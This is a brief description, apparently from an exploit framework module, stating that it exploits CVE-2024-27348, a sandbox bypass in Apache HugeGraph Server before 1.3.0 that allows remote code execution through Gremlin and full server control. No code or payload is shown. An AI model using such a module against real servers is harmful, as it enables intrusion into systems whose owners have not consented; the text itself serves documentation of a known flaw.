          This module exploits CVE-2024-27348 which is a Remote Code Execution (RCE) vulnerability that exists in
          Apache HugeGraph Server in versions before 1.3.0. An attacker can bypass the sandbox restrictions and achieve
          RCE through Gremlin, resulting in complete control over the server
